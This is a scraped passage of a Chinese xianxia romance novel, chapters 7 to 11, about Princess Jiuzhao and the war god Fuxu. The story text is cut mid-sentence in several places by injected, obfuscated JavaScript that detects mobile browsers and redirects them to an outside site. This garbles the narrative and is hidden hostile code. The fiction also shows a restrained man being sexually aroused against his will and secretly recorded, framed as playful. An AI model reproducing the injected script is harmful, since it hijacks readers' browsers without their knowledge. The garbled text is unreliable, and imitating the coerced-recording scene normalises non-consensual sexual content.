“其实本殿已经有很多年没有惩罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918051|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你。” 感受着两道目光,九昭低声说道。 朱映轻轻回应:“臣明白,殿下一向偏袒自己人,这次是臣的错,错在没听殿下的话。” 九昭被哄好得很快,皱起小巧鼻尖,撇了撇嘴:“你明白就好,下次不许这样。” “嗯!” 朱映用力点头。 彼此又静默少顷,九昭的手指抚上他胸口被鞭出的伤痕,缓缓道:“接下来的日子,你好好休息,不用着急侍奉,待伤好全了再回到本殿身边……以后,我不会再打你了。” 他们共享着平等而温情的时刻。 最后那句保证,九昭用“我”代替“本殿”,更像是朋友之间的许诺。 朱映的心脏和眉峰一起动了动。 他意识到这种时候,更应该说些什么来回馈九昭的亲近。 只是九昭挂在绦带上的传音玉牌突然闪烁起来。 紧接着,绛玉急促的话音从玉牌中传出:“殿下殿下不好了!扶胥上神不听奴婢们的劝告,一醒就要返回辟蒙宫,他动用了神力,腹部的伤口又开始流血了,您快来侧殿劝劝上神吧!” “……不省心的东西。” 九昭斥骂一句,眉毛紧紧拢在一处。 药才涂了一半,她不得不走。 朱映也不阻拦,施术清洁干净她的双手,最后着意添上一句:“受伤之人时常需要忍受痛苦,心绪波动较大也是事出有因,殿下是三清天的储君,宽和大度,自然不会跟扶胥上神计较。” 耳畔滑入恳切言辞,九昭看着朱映,别扭道:“本殿知晓。” …… 九昭匆匆赶到侧殿,扶胥被迫靠坐在床上,刚站起身,又被女婢医官合力按下。 “上神,在腹部伤口转好前,您可万万不能再动用神力啊!” “不用神力,那本神用脚走回辟蒙宫中总可以。” “您的内伤这般严重,应以静修为上,大幅度的行走站立都不行啊上神——” “本神的伤势本神心里清楚,就算真出了什么意外,也怪不到你的头上。” “上神——” 九昭看到扶胥固执己见的模样就心烦,心烦之下,她自掌中凝出打神鞭。 附着在长鞭周围的仙光刺痛殿内所有人的眼,扶胥仍依靠床头没做出反应,那正在规劝扶胥的医官们,瞬间哗啦啦跪了满地:“殿下,可不能再鞭打上神了,他真的承受不住!” “让开,聒噪什么?常曦殿几时轮到你们做主了?” 九昭柳眉一挑,将挣扎着过来要抱住她小腿的医院一脚踢开。 被层层人墙拦着,她不便靠近扶胥,于是侧转手腕,将打神鞭用力掷了过去。 “不——” 要不要挡在上神面前? 难道今天就要因公殉职了吗? 长鞭化成一道光束,越来越近的刹那,医官们的脑海统一浮现出这两个致命问题。 没等他们做出决定,目标距离将至,那凌厉的鞭风又倏忽柔和起来。 唰唰唰! 长鞭围绕扶胥病弱的身躯转了三圈,将他和床靠结结实实捆绑在一起。 为了防止他施术反抗,干脆手臂也紧紧束起。 像是尖叫的公鸡被掐住脖子,殿内登时鸦雀无声。 哀求还梗塞在喉咙中,医官们各自瞪圆或大或小的眼睛。 ……殿下这、这又是什么操作? 8. 第8章 就算不是趁他病弱要出气,这副绑犯人一样的架势,也足够羞辱扶胥。 他的双手紧紧攥成拳头,手背青筋直迸:“九昭神姬,你未免太过恶劣——” “恶劣吗? “本殿恶劣,你又不是第一天才知晓。” 九昭捻动指尖,让打神鞭化作的绳索捆绑得更牢固些,单手叉腰冲他弯起唇角,“你不是叫本殿不要多管闲事?本殿偏要管,今天管,明天管,天天管,管到本殿满意为止,气死你!” 扶胥被她幼稚的行径无语到了,再次催动神力想走,预判了他的预判的九昭掠身到他面前,从衣襟中摸出一张带有体温的浅金色符纸,啪地用力贴上他的额头。 触及肌肤,符纸发挥作用,转眼隐进骨血中去。 她弯腰凑近扶胥,唇畔得逞的笑意似有若无,在他耳边气声说道:“这是本殿过去在北境游玩时从北境王手里得到的宝贝,它能够封印上神以下的神仙三个月仙力——你现在受了伤,神境跌落,力量跟最高阶的天仙无异,自然也抵挡不了这张符纸的作用。” 在私库寻找仙植时,九昭早就想好对付扶胥的办法。 眼下一切发展顺利,望着青年如同火山爆发般的瞳仁,她舒爽之余,连忙快步退后几丈,以免气到快要爆炸的扶胥一张嘴,从自己的身上咬下一块肉。 只是舒爽没多久,扶胥即将碎裂的表情突然平静下来。 他就着屈辱的姿势抬起面孔,沉沉吩咐:“我与殿下有话要说,你们先出去。” 九昭挑衅扶胥兀自痛快,却并非谁都有胆量留在现场旁观好戏。 侧殿角落里,充当鹌鹑的医官女婢如释重负地舒了口气。 行礼之后,便如退潮的海浪般悉数后撤,还不忘带上大门。 只剩他们两人,想明白九昭想做什么的扶胥,眼中怒意已然消失无迹。 他直视九昭俯落的双眼,慢条斯理道:“白日臣神志混沌,不受控制冒犯了殿下,此刻房内无人,殿下要打要罚,悉听尊便。” “你以为本殿将你绑起来又封了神力,就是为了打你?” 九昭半挑的唇角保持原样,只是表情逐渐变得皮笑肉不笑。 扶胥:“虽然白日里臣受伤醒不过来,但也感应到了殿下对朱映仙官所做的一切。” 若非朱映拼着一身伤也要阻拦,恐怕他早就被九昭连着铺盖一起丢出了离恨天。 他说的是事实,九昭一时语塞,只能嘴硬:“这是本殿宫里的事,用不着你来过问!” 扶胥握拳的手又是一紧。 这次下意识抓住了身下的衾单。 他凝着嗓音承认:“是,臣是外人,自然无资格过问,还请殿下放臣离开常曦殿。” 开口请求的青年虽未昂着头颅,但从始至终未曾软下的脊梁传递着他内里真实的情绪。 傲骨、气节、风仪…… 这些都是那些爱慕扶胥的女仙们经常谈及的词汇。 只是青年越是这般姿态,就越是有一股别扭感涌上九昭的心头。 仿佛是她别扭,又仿佛是扶胥别扭,总之他们单独相处,从没有把话好好说开的时候。 话说回来,她为君,他为臣,自顾哪有君上会对臣下低头? 九昭抱起手臂,眼睛居高临下乜了过去:“你奉命来给本殿送礼服,不就证明你决心顺从父神的旨意,起码在面子上表现出夫妻相敬如宾?你如今是个人都能看出来受了重伤,还非要拖着残躯回到辟蒙宫,那前面所做的功夫就全部白费了,传出去,大家还是知道你与本殿不和。” “来日,不只是西海,北境、南陵还有东原,依旧会把我们的关系当成背后取笑的谈资!” 九昭难得没有强调自己的感受,而是从事实出发,有理有据的指责说得扶胥一顿。 在他沉默的间隙里,九昭再接再厉:“还有,不管你同不同意,以后每七日一次,本殿都会来跟你合修。父神说了,只要顺利炼化你体内的真血之气,本殿的仙力就能够突飞猛进—— “所以,本殿与你合修,是为了自己!” 最后一句话,像是为了说服谁,九昭拔高声调,呲着牙喊了出来。 扶胥难堪地别过眼睛:“……低声些,合修这么隐秘的事,殿下想让全三清天都听见吗?” 回过神来,九昭也有点不好意思。 但她看着扶胥耳廓沁出的一点粉意,又被取悦得弯起眼睛:“怎么,堂堂战神也会害羞?” 扶胥:“……” …… 若是九昭无理取闹,扶胥绝不会顺从。 要命的是,她突然学会了占据道德高地,讲大道理。 一顶帽子扣下去,时刻谨记忠君护主的扶胥只好暂时住下。 要在离恨天暂居,他的生活用物就需从辟蒙宫中搬过来。 这件小事原不用九昭操心,奈何她天生是个闲不住的性子。 将缃璧留在侧殿照应,她带着绛玉和七八个仙侍起驾。 辟蒙宫位于二清天的中部,而九昭居住的离恨天,是神帝耗费神力特地为她开辟的一处境阙,在三清天的下方,却高于建造了五位上神和四位神王宫殿的二清天,以示九昭的女君身份。 为了将两人重修旧好的戏码演到极致,九昭特地选择最华美的天辇出行,车轮上缀着恢弘的七色仙光,天辇后有流云彩霞一路映照,在三清天的湛蓝苍穹中,划过一道无比绮丽的长痕。 抵达辟蒙宫时,九昭确信该看见的人都看见了。 她提着裙摆款步走出天辇,站在辟蒙宫华光流转的结界口。 璇玑宫的宴会结束,跟随扶胥一路南征北战的统领仙官修余提前返回二清天。 辟蒙宫久未有人生活,他兴冲冲地领着一众军士将其里里外外打扫了个遍。 然后就是漫长的等候,从天亮到天黑,也不见扶胥归来。 此刻结界的禁制被触动,修余才转忧为喜。 他一路小跑着来到宫门口,尚未抬眼就欣喜地喊出一句:“扶胥上神,您终于回来了!” “不是扶胥,是本殿。” 契阔诀的力量激发,九昭抬手散去结界,对听见声音僵住的修余徐徐露出笑容。 “神姬殿、殿下,臣不知殿下大驾光临,实在有失远迎。” 僵硬不过刹那,修余立刻作揖行礼。 “无妨。” 九昭扶了扶鬓角,也不客套,如同行走在自家后花园一般擦着修余的肩膀过去,抬头打量简朴宫庭,“好久不来,本殿有些忘了哪座宫殿才是扶胥的住所,修余仙官,你在前面带路吧?” 肩膀先是被九昭轻撞,又是被她身后带领的侍众来回挨挤,修余顿觉来者不善,迟疑着回禀道:“神姬殿下是来找我家上神的吗,他还没有回来……” “他当然没有回来,因为以后都要和本殿住在一起。”九昭笑着回头,清凌的目光望向修余,丝毫没有意识到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来这件事,也被众仙视作兰祁早有反心的铁证。 无论情面还是大义,三清天的储君提出此番质疑,辟蒙宫总要给个不让进去的说法。 修余暗自叫苦,正绞尽脑汁想借口,九昭却是嘴角下撇,不耐烦起来。 绛玉见状,覆耳悄声:“殿下,这里到底是辟蒙宫,没得到扶胥上神的吩咐,作为统领仙官,修余无权代为打开自家上神的殿门,以奴婢看,不如咱们传声给上神,由他开口更好。” 她的话,九昭如何想不到。 扶胥虽已闭口不做反抗,但谁又知道他愿不愿意时刻配合九昭。 不想在辟蒙宫闹出风波,九昭最终决定采用迂回手段,催动腰上的玉牌传话给扶胥。 不多时,玉牌亮起,映出扶胥英挺的面孔。 他隐去周围环境以及自己肩膀以下的部分,看起来除了脸色些许苍白,其他一切正常。 “上神!” 修余上前一步,神色激动,那望着扶胥的模样,活像看到了被土匪绑走的民女,“您在哪里?臣已将辟蒙宫打扫干净,只等您归来!” 想起九昭还在虎视眈眈地盯着,顿了顿,他又补充道, “……还是如神姬殿下所言,您要住到常曦殿去?” “不必多问,一切遵照神姬殿下的吩咐。” 话说到这里,九昭已经算是很满意。 只消扶胥配合就好,也没指望他能够在外人面前,与自己扮出鹣鲽情深。 她正想将传音玉牌收起,忽见那半空浮现的青年冷白喉结上下一滚,长睫垂敛盖住传递心事的眸光,板起俊面训斥修余道,“下次这种事,不要麻烦殿下再转问本神——殿下是三清天的储君,是本神的结发妻子,更是辟蒙宫的另一位主人,你们需尊重她,一如尊重本神。” 9. 第9章 训斥完修余不够,扶胥又将他以不敬之罪罚去受鞭刑,再丢入军中/操/练一个月。 其实被修余阻拦,九昭还没到动怒的地步。 三清天本就上神稀少,四神王虽说都占据了“神王”的尊号,但实际上唯有北境崇黎王和南陵琼英王的力量高于仙阶,所以更显得通过天道认可,晋升神位的五位上神身份尊崇。 除了扶胥作为战神活跃军营,五神中另外四位,一位云游四方,不见踪影,一位闭关万年,谢绝见人,还有两位坐镇三清天,协助神帝处理大小事务。 他们威名在外,为三清天贡献巨大,哪怕九昭作为储君也得以礼相待。 种种约定俗成的规矩堆积下来,修余阻拦九昭进入寝殿,只要没有言辞冒犯,就不算有错。 扶胥要想偏帮自己的心腹,亦有大把理由可以使用。 他没有这样做,反而秉公处理。 都说扶胥治军严明,从不会为亲疏之别而徇私枉法。 在这件事上,九昭见识到了。 然而不知为何,她一边告诉自己,扶胥这样做并非为了她,乃是天生性格使然,一边回想他主动说起的“九昭神姬乃本神结发妻子,辟蒙宫的另一位主人”,心中隔阂忍不住消散几分。 …… 随着扶胥在离恨天住下,九昭寻了处空置的殿宇给他做议事场所。 他神力被封,也不知用了什么办法,闭门修整三日,再见和当初快死的模样判若两人。 扶胥出关,各路神仙闻风前来拜访。 有些为着军中的日常事务,有些则是纯粹的慰问。 但凡不涉及公事,九昭必拉着扶胥在正殿宣见他们,而且还一定要并肩坐在主位上。 这是九昭最近沉迷的新把戏,源于上次大声提到合修,扶胥耳廓悄然泛红的启发。 只要并肩坐于一处,她便会时不时逗弄青年两下。 比如冷不丁拉住他的手,比如旁若无人与他亲密耳语,比如故意柔声唤他“阿胥”。 扶胥从起先的彻底僵硬,到后来的镇定自若,唯独耳垂红意一次又一次出卖他的内心。 在某回宾客面前九昭变本加厉将脸靠上他的肩头后,他命人将九昭迎进侧殿,面容沉肃地“恳请”九昭下次切勿在外人面前同自己表现得过分亲密,这不合规矩,也不合两人身份。 九昭却反问:“身份,什么身份? “本殿为妻,你为夫,恩爱情好不是理所当然?” 扶胥:“……” 他忍。 难得在两人较劲中占据上风,九昭越发乐此不疲。 到了第七日,约定的合修之日,离恨天又迎来了西海王派遣的使者。 以宗姬滢罗为首,身后两列排开八位女婢,手上大大小小的礼物堆满整张桌子。 九昭定睛一看。 千年夜明珠、万年蛟龙骨、手持此物,凡人入海也能畅快呼吸的润霖胆。 其中还有一件正符合九昭身材尺寸的鲛衣。 似将月光的柔弧和世上最清澈的水流织入其中,明月烟波,芳泽呈露。 见九昭盯着那件鲛衣目不转睛,滢罗站起,亲手将其自锦盒中捧出献到她的眼前:“殿下,鲛衣是我西海的至宝,需鲛人以自身鳞片磨粉,再施以仙力入线,废寝忘食,整日织造,万年方得一件,它穿在身上不仅如同流波摇曳,赏心悦目,更刀枪不入,水火不惧,是防御的珍宝。” 九昭当然听说过西海鲛衣的传闻——且滢罗没说,她也知道的是,越是仙力高超的鲛人,制作出来的鲛衣防御效果越强,衣料看起来也越发美丽。 这件鲛衣能织成,献出鳞片的鲛人,少说也有金仙及以上的实力。 西海献此至宝讨好自己,究竟是为了什么? 九昭的妙目从鲛衣转到滢罗身上,神色透出几分怀疑。 滢罗却没让她的思维更加发散,将鲛衣转交旁边的绛玉后,她领着女婢们盈盈拜倒,诚心实意说道:“先前西海浣魄仙子冒犯殿下,回族的这段日子,滢罗终究难以心安,所以趁着这次前来离恨天慰问扶胥上神的机会,滢罗想代替浣魄与其他西海女仙,再次向殿下告罪。 “同时,也借以薄礼,聊表心意,万望殿下能够宽恕臣等。” 九昭虽然记仇小气,但三清天说过她坏话的不计其数,抓到的,当面惩罚也就算了,没抓到的,全当它是一缕最单薄的风散了。浣魄的事她早就抛在脑后,偏偏滢罗又不厌其烦地提起。 介于她和扶胥过去差点成为夫妻,且西海流戈王这四千五百年来一直没有放弃的,明里暗里的试探,九昭将滢罗的告罪定义为想要在扶胥面前,落实她是个心胸狭隘的神姬的恶名。 都是千年的狐狸,在这里玩什么聊斋。 九昭嘴角微抽,忽然起了戏瘾。 她反手抓住扶胥散落在自己身畔的玄黑衣袖,一拉一拽,迫使神力被锁的扶胥朝这边坐过来的同时,将手穿进他的臂弯间,两人的身形顿时亲密无间依偎在一起。 她转头扫过扶胥隐含警告的冰凉视线,心里大声嘲讽:没定力的死木头,往日面对其他神仙还能装得老神在在,结果旧情人一来,那平时动也不动的屁/股上就好像着了火! 不过想归想,做归做,她的唇角勾起最矫揉造作的笑容,抬手命她们免礼:“诶呀,一点小事,本殿早就不记得浣魄这号人物了——滢罗你也真是的,本殿又没真的怪罪西海什么,你专程跑到本殿宫里,又是下跪,又是告罪的,仿佛本殿心胸狭隘,有多么不能容人似的。” 说着,她又借着两人身形的阻挡,用力拽紧扶胥的衣袖,“小鸟依人”地靠上他肩头,“幸好上回的场景阿胥也看见了,否则从你口中说出来,真是没事也要严重三分。” “不是的,殿下,臣没有这个意思。” 滢罗连忙再次叩首表明真心,“臣是真的认为浣魄她们做错了,殿下贵为储君,臣等唯有尊您、敬您、爱您,哪里胡乱在背后议论的道理,上次就算殿下未曾亲临,臣也定会训斥她们!” “好了好了。” 虽然“尊您、敬您”后面加了个“爱您”听起来奇奇怪怪的,但九昭也没有心思再继续跟她虚与委蛇下去,她惦记着午膳后还要跟扶胥合修的要紧事,敷衍地点点头,“你的心意本殿都知晓了,你可还有其他的事要禀告?没有的话,午膳时辰将至,本殿也不耽误你回西海了。” 谁料,得到九昭的原谅,滢罗抬起头,那双静澜似的目光倏忽变得晶亮,一瞬不瞬 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没被一口拒绝就是胜利。 无视九昭满脸的不情愿,滢罗欢喜起来,仰视她片刻,又侧转目光,将隐晦眼神投向扶胥: “那殿下,上神,滢罗先行告退。” …… 送走滢罗,九昭交代把西海送来的这些礼物都封进私库,免得里面掺杂了窥探的东西。 轮到那件鲛衣时,九昭多了几分犹豫。 她就是喜欢花里胡哨的衣服,越夺目越好,显然滢罗送到了她的心里去。 纠结再三,她命人将其放在寝宫的衣柜中。 处理完手头的事,九昭来到侧殿。 扶胥已将侍奉的人都遣了下去,他独自一人落坐窗边的长案,看公文呈报看得专注。 九昭觉得他爱装的老毛病犯了,不客气地说:“合修你不在床上等本殿,坐在那干什么?” 她大大咧咧,毫无女君仪态的用词再一次刺痛扶胥,差点把手上轻薄的纸张捏皱。 他缄默再三,将纸上的最后一段内容读完,却并不顺从九昭的命令走至床前,而是淡声问询道:“听滢罗宗姬提起仙阶考试日子将近,殿下有何感想?” 山不过来,我就去山。 九昭负手来到他的长案前,挑起眉毛:“需要本殿有什么感想?” “那晋升地仙和金仙的考试还好,不过五百一千年开启一回,而晋升最高等天仙的考试,三千年方才开启一回,从前为兰祁的背叛伤心,殿下已经错过一回,这回,也不准备准备吗?” 三清天明煦的光线顺着支起的窗棂散入殿内,将扶胥英俊的面容切割成明暗两处。 九昭起先注视着他静亮的双眸,却在他骤然提到兰祁时,迅速垂落视线,投进阴影之中。 “注定成功不了的事也要准备吗?” 她听见自己的嘴唇一张一合,说着认命的话。 却道不明,认命的究竟是眼前事,还是—— “每回考试,只有第一名才能晋升最上等的天仙。 “本殿自知仙力不如滢罗,经验也没她丰富,非要报名参加,岂非自取其辱?” 10. 第10章 三清天的阶位共分五等,仙阶有四,自低到高为散仙、地仙、金仙、天仙。 第二等天仙往上,便是第一等的上神。 神与仙之间,只差一字。 然而仙阶乃人为划分,只要通过仙阶考试,就能成功晋升。 成为上神,却要历经天道的磨砺,捱过九十九道天雷问身,涉过三十三重幻境问心,唯有力量拔萃、神志坚定者,方能跳脱于无常轮回之外,成就神位,寿与天齐。 整个过程里,但凡有一样考验失败,无论仙力多么高深,都会刹那间灰飞烟灭,归于虚无。 这也是九昭对于成为神帝没太大兴趣的原因。 如果握住无上权力,要以生命作为赌注,那她不做神帝,甚至不做神姬都可以。 当个不大不小的金仙,从一清天分属四王的辖地中,随便挑选一处山清水秀之所,宁静随心,安稳度日,待到寿终正寝,仙魂散尽化作滋润三清天的灵力,似乎是个不错的选择。 这些没出息的话九昭从未对人提起过。 哪怕是神帝,她也只敢说三清天的未来能不能由王夫统御,自己会在旁与其共治。 …… 扶胥并不清楚九昭内心的真正想法,但并不妨碍他将其通通视为强词夺理。 他起身将支起的雕花窗棂放下,阻断无孔不入的日光,平声道:“滢罗宗姬年长殿下几千岁,天仙的仙阶考试已参加过两回,前头两次,难道她不知晓自身力量不足,无法取得第一吗?殿下所说的实力经验,都需要经历一次又一次的失败才能提升。 “人不能总是靠面子活着。” “本殿说不去就是不去! “人活一回,若是面子里子都丢了,那还不如死了算了!” 九昭仍在为先前扶胥警告的眼神耿耿于怀,她隔着长案立在扶胥身前,努力抻长脖颈,像只炸毛小斗鸡似地瞪着他,“三千年尽管漫长,但对于神仙而言也算不了什么,三清天有那么多的试炼地可以供本殿积累经验、增长修为,你非要撺掇着本殿去参加仙阶考试,究竟意欲为何?” 不待扶胥回答,她装作恍然大悟,猛地拍了下手掌,“噢——本殿明白了,你是知道滢罗这次去必定能够夺得魁首,有本殿的陪衬,更能增添她晋升天仙的荣光—— “扶胥,你这算盘打得好啊,平时一声不吭的,为心上人谋算起来脑子倒是十分灵光。” 扶胥的眉心顿时出现一道褶痕:“这都什么跟什么?” 饶是清楚九昭最擅长的就是狗咬吕洞宾,他也禁不住感到气闷,“身为储君就要担负责任,智谋和实力缺一不能服众,不能服众则有天廷倾覆的风波,神姬殿下连这些都不懂吗? “况且,为着一个男人伤心吐血已然有损名声,莫非殿下还要为此继续消沉千年万年?” 扎心窝子的话最难听,九昭跺了跺脚,急道:“你还好意思倒打一耙!本殿与兰祁已经是四千五百年前的事,今日你这般揪着不放是想怎样?难道不是你已经成为本殿的王夫,还时常记挂滢罗,她一来常曦殿就同她眉来眼去更罪大恶极吗?!” “臣根本没喜欢过——” 扶胥解释的话堪堪说到一半,被什么也听不进去的九昭疾言打断:“如此钟情,如此两心相许,你早干嘛去了?可见你当初答应父神的婚旨,不过是贪图本殿的储君身份! “也对,做未来西海之主的丈夫,何及做未来三清天之主的丈夫来得风光权盛!” 兀自絮絮间,九昭玉白的肌肤覆上一层薄怒,伴随她急促清脆的语调,怒意变作实质的浅红漫上两颊,让她就算是咄咄逼人,也透着恣意鲜活的艳丽。 她没发觉扶胥不说话了,目光停留在她面孔的时间也无端拉长,只是忿忿想着: 西海鲛人仙族除了美貌和善于逢迎之外,还有哪里好了? 性格狡诈,生来嗜血,人间芸生世的各个海域还栖息着他们许多未曾飞升的同族,喜欢以动人的歌声引诱来往的船只,待到他们放弃抵抗,再一边虐/杀一边拖入海底分食。 虽然升入三清天后,鲛人仙族和他们的同族有了根本的变化,不再以血肉为食,却保留了个一言难尽的特性,那就是每过三千年都可以自行选择一次性别。 三清天不禁婚嫁,甚至纳妃娶妾,只要你情我愿也可以。 滢罗的父亲流戈王仗着容色出众,更将这个特性发挥到极致,三千年化作男人,三千年变成女人,王妃小妾无数,还要豢养男宠,凭借一己之力给西海创造艳闻无数。 流戈王风流好色在前,滢罗宗姬心机深沉在后,只叫九昭觉得整个鲛人族都淫/荡/不堪。 她腹诽着扶胥的口味,厌烦了再跟他唇枪舌剑,干脆将他用仙力一捆带上床榻。 合修多半为爱。 他们这种,不如称之为合恨。 “本殿答应了父神,赶紧将你治好,然后昭告三清天,我们合离。 “届时你想再找滢罗还是罗滢,全都随你,记得办婚事的时候叫上本殿喝酒就行。” 九昭像摆弄灵活的玩偶一样,将扶胥摆成盘腿打坐的样子,她唯恐争吵下去等下合修走火入魔,便一抬指封住扶胥的口舌,看着扶胥目含薄嗔,唔声断续的样子,她伸手拍了拍他英俊的面孔,语气轻佻地说道:“好阿胥,劝你少费力气,否则等下受苦的还是你。” 说着,她催动隐在扶胥额头的符咒,让他恢复一小部分力量,便于合修时仙力运行。 赤色的流光结界形成,大约同样想到了再不平复心绪会有受伤的嫌疑,扶胥也变得安静。 魂灵交融,气息合着。 一回生二回熟,这次九昭修复扶胥的伤势比上次顺利了些,正如神帝所言,她长久不动用的凤凰真血之力,也从最开始的滞涩生疏,逐渐变得仿佛小溪般畅流无阻。 扶胥苍白的面孔微微恢复了些血色。 只是修着修着,血色加重,那异样的情火再度卷土重来。 九昭的感知远比神力被封印的扶胥来得敏锐,耳畔衣料的窸窣,小腿酥软的攀升,令她立刻无声睁开了眼——这回,她早就做足了准备。 分出一小缕仙气钻入胸前的长乐命牌中,母神留下的残力很快发挥作用。 清凉的神息同九昭的意志融合,消弭着叫人脸红心跳的热。 渴望肌肤相贴的欲念驱逐出她的脑海,九昭却坏心眼地阻断了神息的蔓延。 她要扶胥继续陷落情热的烈火之中,看看他的渴求到达顶点时,嘴里会唤出谁的名字。 被束缚着无法将人压倒,寻找能够带来水源的嘴唇,不过半刻,扶胥的瞳孔又涣散开来,自额头滑落的滴滴汗水流进衣领,将胸膛的前襟染成半透明的光景。 洇湿上半截后,它们还在滑落。 锻炼得当的胸腹在布料下难耐地收缩起伏。 缠了白布的伤处,更提醒着九昭的眼睛,要凝在那处,欣赏禁欲者难得的放浪风景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918054|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚烫舌尖自半启的唇缝探出,宛如即将渴死的游人拼命汲取空气里的水汽。 每当扶胥想要朝自己探出手掌,九昭就利用符咒抽干他的全部力量,待到双手维持不住动作无力垂落,她又突然解封,让力量再度暴涨回扶胥的精壮躯体。 反复几次,扶胥的表情开始错乱无序,往日的端持、得体、深严彻底消散。 九昭严重怀疑,就算此刻她引导着他喊自己妻主、母亲、姐姐……他都会直接脱口而出。 想了想,九昭打个响指,一个有记录作用的留影球在他俩身边出现。 半透明、水滴状的小球靠近扶胥,从他烧红的俊面开始,到形状明显的腰腹,再到更下方。 全都一一刻入其中。 …… 许久之后,随着手臂肌肉的一阵收缩,男人的低喘声在九昭耳边响起。 后面越来越露骨,九昭也闭上眼没有再大胆欣赏,只用凭借着动作逗弄着扶胥。 神木落地生根,苍翠的枝梢跟从风的抚弄轻轻颤抖。 颤抖的幅度逐渐加大,成熟满溢的粘稠种实亦从枝桠间喷溅而出。 在扶胥仍沉浸在余韵里,尚未回过神来的间隙,九昭适时催动命牌压下了他的情火。 于是,全然清醒的扶胥见到的,便是—— “喜欢留影球里的自己吗?” 九昭折起姝丽的眼尾,声调如蕴着水波般晃晃悠悠地问着。 扶胥不知该将目光投向何处。他望着九昭兴奋到发红的脸容,衣摆下的湿润迫使他窘迫地试图找个床隙钻进去。可九昭的视线可以阻挡,录影球里另一个“扶胥”闹出的动静却无从消除。 那是他吗? 还是一个沉溺于放肆之中的妖魔? “怎么不说话?” 从被冒犯者变成冒犯者,九昭的心境截然相反。 她的手掌仍旧蠢蠢欲动,却并非想要高高抬起,再给扶胥一个巴掌。 她想把扶胥的衣袍下摆撩起来,想让鸵鸟一般自欺欺人的青年,直面真正的自己。 “啧啧。 “平日教导本殿一言一行要合规矩,不成想,扶胥上神才是那个最不守规矩的人。 “这些年,待在神魔边界,想是苦了你。” 九昭一字一句说得很慢,每个字都变成一块沉石,压在扶胥心口,他快要喘不过气。 他蜷起手指和脚趾,试图与忍不住发颤的身体抗衡。 半晌。 他短促地呼出口气:“还请殿下将臣额头的符咒解开,臣应承过殿下暂住常曦殿,就不会临时变卦……以及下次再出现这种情况,臣会自伤维持理智,绝不会再出现这等以下犯上之举。” “自伤。” 九昭咀嚼两字,扫了眼已近透明的某处,“按照此等情形,怕是上神得将自己捅成窟窿。” “……” 扶胥想,他不应该再饶舌下去。 动身离开,让彼此冷静下来才是最好的办法。 他试图抬腿下床,九昭却抢先一步占住床沿。 九昭顺势侧头,饱满唇珠凑近扶胥炽热耳廓,差一点就要吻上:“其实,也并非本殿不愿意将符咒解除,只是这符咒有个特性,必须中咒者真心实意念出施咒时的咒语,方才能够脱落。 “怎么办? “本殿当时也想不出来有趣的咒语。 “便用了一句‘九昭九昭我爱你’。” 11. 第11章 九昭神清气爽地离开侧殿,命人备水沐浴,洗去一身合修残迹。 后续无事,她干脆前去看望朱映。 南陵作为亲木神仙的聚集地,素以医术灵药出名。用了琼英王亲自炼成的伤药,朱映身上的伤好了不少。九昭同他坐在屋里喝茶,随意慰问几句,又话锋一转,询问起仙阶考试的事情。 作为离恨天的统领仙官,想要侍奉好没什么心机城府的主子,朱映往往更需替她费神留意外界的风向——这也养成了九昭遇到不清楚的人事,就唤他过来查问的习惯。 “你可知晓这次参加仙阶考试的金仙都有谁?” 九昭一想起扶胥那副提到滢罗满脸肯定的模样就不爽。 她还不信了,难道这一届的天仙名额已经是滢罗的囊中之物? 参加的考生数量众多,仔细查探,总有几个实力不错能与之一较高下的竞争者。等到下回扶胥旧事重提,她就拿着这些人名好好阴阳一番他自诩公正,结果还不是见到滢罗屁股就歪半边。 然而这个问题出口,朱映的神色顿时透出几分无言。 他仿佛在组织语言,停顿足足三转呼吸,才温声细语:“殿下长久未曾参加考试有所不知——当然,这事也怪臣没有及时告知殿下,自从上届考试有罪仙试图投机取巧,给最有望晋升天仙的同袍下药,害他腹泻三日错失考试良机之后,帝座就下令,开考前一日才会公布考生名单。 “所以,还请殿下恕罪,此事臣也无从得知。” 一边告罪,朱映一边有些奇怪九昭为何会关心起仙阶考试。 要知道过去他但凡提起这四个字,九昭就会捂住耳朵说烦死了叫他赶紧出去。 莫非,殿下成年了,人也懂事了,自己知晓上进了…… 朱映越想越欣慰,正打算鼓励九昭决定好了就赶紧报名,免得日期截止又等三千年。 却听见她摸着下颌,陷入思考,而后灵光一闪抚手笑道:“有了!想知道考生有谁哪里需要你打听,且去看看二清天的神王宫邸中住了何人最一目了然! “哼,扶胥不是支持滢罗吗?本殿偏要支持别人,来看看到底谁输谁赢!” 感动的情绪发散到一半,瞬间枯萎。 满脸复杂的朱映:“……” …… 放任九昭一个人出门,可能会导致什么下场,朱映很明白。 见难以劝阻,他便自请陪同九昭造访二清天。 神仙的术法,对于同阶及以下才能生效,在神王府邸这种周围设有上神结界的地方,九昭的仙力就不够看了,何况光明正大从神王府邸大门进入难免无趣。 于是,九昭挑挑拣拣,从私库中找出昔年神帝赐给她的法宝神隐衣。 神隐衣只消披在身上,就能隐去踪迹,非神帝亲至无法察觉。 九昭伪装完自己,大剌剌伸手过去牵住朱映。 指尖触及温热皮肤,朱映瑟缩一瞬,条件反射侧头看她:“殿下,这不合规矩——” 